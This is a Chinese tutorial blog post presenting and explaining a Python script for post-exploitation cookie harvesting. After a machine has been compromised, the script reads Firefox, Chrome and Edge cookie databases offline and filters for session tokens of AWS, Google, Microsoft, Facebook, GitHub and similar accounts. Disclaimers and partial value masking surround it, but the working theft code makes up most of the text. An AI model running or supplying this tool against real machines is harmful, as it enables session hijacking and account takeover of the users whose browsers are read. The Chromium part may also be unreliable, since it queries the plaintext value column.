Python 实战:内网渗透中的信息收集自动化脚本(5)

发布于:2025-08-31 ⋅ 阅读:(19) ⋅ 点赞:(0)

用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。

这次我们来讲解关于使用python脚本获得cookie,这里或许有疑问,相比于浏览器或者抓包工具来获取cookie,那么用脚本来获取cookie有哪些优势呢,这里主要有两点

  1. 离线获取:无需浏览器处于运行状态,只要能访问到本地 Cookie 文件,即可获取历史存储的 Cookie,而开发者模式需要浏览器实时运行且用户手动操作,抓包工具需要依赖实时网络请求。
  2. 批量提取:可一次性读取浏览器存储的所有符合规则的 Cookie,无需逐个页面或请求查看。

在内网渗透中,已经getshell获得系统的权限下,这种读取cookie的方式就尤为合适了。

接下来通过代码来展示如何获取cookie,代码如下

import sqlite3
import os
import platform
from pathlib import Path

def show_security_warning():
    print("="*50)
    print("⚠️ 安全与法律声明 ⚠️")
    print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")
    print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")
    print("="*50)
    confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()
    if confirm != 'y':
        print("程序已退出")
        exit(0)

# 获取不同浏览器在不同系统下的默认Cookie路径(优化Edge路径检测)
def get_browser_cookie_paths(browser):
    system = platform.system()
    paths = []
    try:
        if browser == "firefox":
            # Firefox: 所有系统均使用SQLite,路径格式统一
            if system == "Windows":
                base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"
            elif system == "Darwin":  # macOS
                base = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"
            elif system == "Linux":
                base = Path.home() / ".mozilla" / "firefox"
            # 查找所有配置文件中的cookies.sqlite
            if base.exists():
                for profile in base.iterdir():
                    if profile.is_dir():
                        cookie_file = profile / "cookies.sqlite"
                        if cookie_file.exists():
                            paths.append(str(cookie_file))
        
        elif browser in ["chrome", "edge"]:
            # Chrome/Edge: 基于Chromium,优化路径检测(支持根目录和子配置文件夹)
            if system == "Windows":
                # Chrome默认路径
                chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"
                # Edge默认路径
                edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"
                base = chrome_base if browser == "chrome" else edge_base
            elif system == "Darwin":
                base = Path.home() / "Library" / "Application Support" / (
                    "Google/Chrome" if browser == "chrome" else "Microsoft Edge"
                )
            elif system == "Linux":
                base = Path.home() / ".config" / (
                    "google-chrome" if browser == "chrome" else "microsoft-edge"
                )
            # 【优化点】:先检查根目录,再检查常见子配置文件夹(覆盖特殊路径场景)
            if base.exists():
                # 检查顺序:根目录 → Default → Profile 1 → Profile 2(适配更多场景)
                for profile in ["", "Default", "Profile 1", "Profile 2"]:  
                    if profile:  # 非空字符串表示子文件夹
                        cookie_file = base / profile / "Cookies"
                    else:  # 空字符串表示根目录(User Data直接存放Cookies)
                        cookie_file = base / "Cookies"
                    if cookie_file.exists():
                        paths.append(str(cookie_file))
        
        elif browser == "safari":
            # Safari (仅macOS): 存储在~/Library/Cookies/Cookies.binarycookies(二进制格式)
            if system == "Darwin":
                cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"
                if cookie_file.exists():
                    paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")
        
        return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]
    except Exception as e:
        return [f"获取路径失败:{str(e)}"]

# 读取Cookie数据库(适配不同浏览器的表结构)
def read_cookies(cookie_path, browser):
    try:
        # 不同浏览器的表名和字段可能不同
        if browser in ["firefox"]:
            # Firefox: 表名moz_cookies,字段顺序:host, name, value
            query = "SELECT host, name, value FROM moz_cookies"
        elif browser in ["chrome", "edge"]:
            # Chromium系: 表名cookies,字段:host_key, name, value
            query = "SELECT host_key, name, value FROM cookies"
        else:
            return []
        
        with sqlite3.connect(cookie_path) as conn:
            # 解决Chromium数据库锁定问题(只读模式)
            conn.execute("PRAGMA query_only = 1")
            c = conn.cursor()
            c.execute(query)
            return c.fetchall()  # (host, name, value)
    except sqlite3.Error as e:
        print(f"数据库读取错误:{e}")
        return []

def main():
    show_security_warning()
    
    # 1. 选择浏览器
    browsers = ["firefox", "chrome", "edge", "safari"]
    print("\n支持的浏览器:", ", ".join(browsers))
    browser = input("请输入要查询的浏览器(如firefox):").strip().lower()
    if browser not in browsers:
        print("不支持的浏览器")
        return
    
    # 2. 获取默认路径或手动输入
    default_paths = get_browser_cookie_paths(browser)
    print(f"\n{browser}的默认Cookie路径(可能有多个):")
    for i, path in enumerate(default_paths, 1):
        print(f"{i}. {path}")
    
    use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()
    if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:
        cookie_path = default_paths[0]
    else:
        cookie_path = input("请手动输入Cookie数据库路径:").strip()
        if not Path(cookie_path).exists():
            print("路径不存在")
            return
    
    # 3. 读取并筛选Cookie
    if browser == "safari":
        print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")
        return
    
    cookies_data = read_cookies(cookie_path, browser)
    if not cookies_data:
        print("未读取到Cookie数据")
        return
    
    # 目标Cookie规则
    target_cookies = {
        ".amazon.com": ["aws-userInfo", "aws-creds"],
        ".google.com": ["OSID", "HSID", "SID", "SSID", "APISID", "SAPISID", "LSID"],
        ".microsoftonline.com": ["ESTSAUTHPERSISTENT"],
        ".facebook.com": ["c_user", "cs"],
        ".onelogin.com": ["sub_session_onelogin.com"],
        ".github.com": ["user_session"],
        ".live.com": ["RPSSecAuth"],
    }
    
    # 4. 输出结果(隐藏部分敏感值)
    print("\n=== 筛选结果 ===")
    found = False
    for item in cookies_data:
        host, name, value = item
        for domain in target_cookies:
            if host.endswith(domain) and name in target_cookies[domain]:
                # 隐藏中间部分值
                hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else value
                print(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")
                found = True
    if not found:
        print("未找到符合规则的Cookie")

if __name__ == "__main__":
    main()

1. 导入模块部分

import sqlite3
import os
import platform
from pathlib import Path
  • sqlite3:用于操作 SQLite 数据库(大多数浏览器的 Cookie 以 SQLite 格式存储)
  • os:用于获取系统环境变量(如 Windows 的 APPDATA 路径)
  • platform:用于判断当前操作系统(Windows/macOS/Linux)
  • Path(来自 pathlib):提供更便捷的路径处理方法,支持跨平台路径操作

2. 安全提示函数 show_security_warning()

def show_security_warning():
    print("="*50)
    print("⚠️ 安全与法律声明 ⚠️")
    print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")
    print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")
    print("="*50)
    confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()
    if confirm != 'y':
        print("程序已退出")
        exit(0)
  • 功能:程序启动时强制显示安全声明,强调合法性和数据敏感性
  • 逻辑:只有用户输入 'y' 才继续执行,其他情况直接退出

3. 浏览器 Cookie 路径获取函数 get_browser_cookie_paths(browser)

def get_browser_cookie_paths(browser):
    system = platform.system()  # 获取当前系统(Windows/Darwin即macOS/Linux)
    paths = []
    try:
        # 根据浏览器类型和系统,定义不同的默认路径规则
        if browser == "firefox":
            # Firefox的路径规则(所有系统均使用cookies.sqlite文件)
            if system == "Windows":
                base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"
            elif system == "Darwin":  # macOS
                base = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"
            elif system == "Linux":
                base = Path.home() / ".mozilla" / "firefox"
            # 查找所有配置文件中的cookies.sqlite
            if base.exists():
                for profile in base.iterdir():
                    if profile.is_dir():
                        cookie_file = profile / "cookies.sqlite"
                        if cookie_file.exists():
                            paths.append(str(cookie_file))
        
        # Chrome和Edge(基于Chromium内核,路径规则相似)
        elif browser in ["chrome", "edge"]:
            if system == "Windows":
                chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"
                edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"
                base = chrome_base if browser == "chrome" else edge_base
            # ... 省略macOS和Linux的路径定义 ...
            
            # 优化点:按优先级检查路径(根目录 → Default → Profile 1等)
            if base.exists():
                for profile in ["", "Default", "Profile 1", "Profile 2"]:  
                    cookie_file = base / profile / "Cookies" if profile else base / "Cookies"
                    if cookie_file.exists():
                        paths.append(str(cookie_file))
        
        # Safari(特殊二进制格式,仅macOS支持)
        elif browser == "safari":
            if system == "Darwin":
                cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"
                if cookie_file.exists():
                    paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")
        
        # 返回结果处理
        return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]
    except Exception as e:
        return [f"获取路径失败:{str(e)}"]
  • 核心功能:根据浏览器类型和操作系统,自动查找默认的 Cookie 文件路径
  • 细节处理:
    • 针对不同浏览器(Firefox/Chrome/Edge/Safari)的路径特性分别处理
    • 考虑多配置文件场景(如 Chrome 的 "Default"、"Profile 1" 等)
    • 对 Safari 特殊说明(二进制格式,需专用工具解析)
    • 异常处理:路径获取失败时返回错误信息

4. Cookie 读取函数 read_cookies(cookie_path, browser)

def read_cookies(cookie_path, browser):
    try:
        # 不同浏览器的SQLite表结构不同,需使用对应查询语句
        if browser in ["firefox"]:
            query = "SELECT host, name, value FROM moz_cookies"  # Firefox表名和字段
        elif browser in ["chrome", "edge"]:
            query = "SELECT host_key, name, value FROM cookies"  # Chromium系表名和字段
        else:
            return []
        
        # 连接数据库并读取数据
        with sqlite3.connect(cookie_path) as conn:
            conn.execute("PRAGMA query_only = 1")  # 只读模式,避免锁定浏览器数据库
            c = conn.cursor()
            c.execute(query)
            return c.fetchall()  # 返回结果格式:(host/host_key, name, value)
    except sqlite3.Error as e:
        print(f"数据库读取错误:{e}")
        return []
  • 核心功能:连接浏览器的 Cookie 数据库(SQLite 格式),读取 Cookie 的核心信息(域名、名称、值)
  • 关键处理:
    • 适配不同浏览器的表结构差异(Firefox 用moz_cookies表,Chromium 系用cookies表)
    • 设置PRAGMA query_only = 1:以只读模式打开,避免浏览器运行时数据库被锁定的问题
    • 异常捕获:处理 SQLite 操作可能出现的错误(如文件损坏、权限不足)

5. 主函数 main()

def main():
    show_security_warning()  # 先显示安全提示
    
    # 1. 选择浏览器
    browsers = ["firefox", "chrome", "edge", "safari"]
    print("\n支持的浏览器:", ", ".join(browsers))
    browser = input("请输入要查询的浏览器(如firefox):").strip().lower()
    if browser not in browsers:
        print("不支持的浏览器")
        return
    
    # 2. 获取Cookie路径(默认或手动输入)
    default_paths = get_browser_cookie_paths(browser)
    print(f"\n{browser}的默认Cookie路径(可能有多个):")
    for i, path in enumerate(default_paths, 1):
        print(f"{i}. {path}")
    
    # 选择使用默认路径还是手动输入
    use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()
    if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:
        cookie_path = default_paths[0]
    else:
        cookie_path = input("请手动输入Cookie数据库路径:").strip()
        if not Path(cookie_path).exists():
            print("路径不存在")
            return
    
    # 3. 读取并筛选Cookie(跳过Safari,因需特殊解析)
    if browser == "safari":
        print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")
        return
    
    cookies_data = read_cookies(cookie_path, browser)
    if not cookies_data:
        print("未读取到Cookie数据")
        return
    
    # 4. 筛选敏感Cookie(定义目标规则)
    target_cookies = {
        ".amazon.com": ["aws-userInfo", "aws-creds"],
        ".google.com": ["OSID", "HSID", "SID", "SSID"],  # 谷歌账号相关Cookie
        ".microsoftonline.com": ["ESTSAUTHPERSISTENT"],  # 微软账号相关
        # ... 省略其他规则 ...
    }
    
    # 5. 输出筛选结果(隐藏部分敏感值)
    print("\n=== 筛选结果 ===")
    found = False
    for item in cookies_data:
        host, name, value = item
        for domain in target_cookies:
            if host.endswith(domain) and name in target_cookies[domain]:
                # 敏感值部分隐藏(显示前5后5字符,中间用***代替)
                hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else value
                print(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")
                found = True
    if not found:
        print("未找到符合规则的Cookie")
  • 核心流程:程序的主控制逻辑,串联各功能模块
  • 步骤解析:
    1. 先调用安全提示函数,确保用户确认合规性
    2. 让用户选择浏览器,校验输入合法性
    3. 获取并展示默认 Cookie 路径,支持用户选择默认路径或手动输入
    4. 对非 Safari 浏览器,调用read_cookies读取数据
    5. target_cookies规则筛选敏感 Cookie
    6. 输出结果时对敏感值进行部分隐藏,减少泄露风险


网站公告

今日签到

点亮在社区的每一天
去签到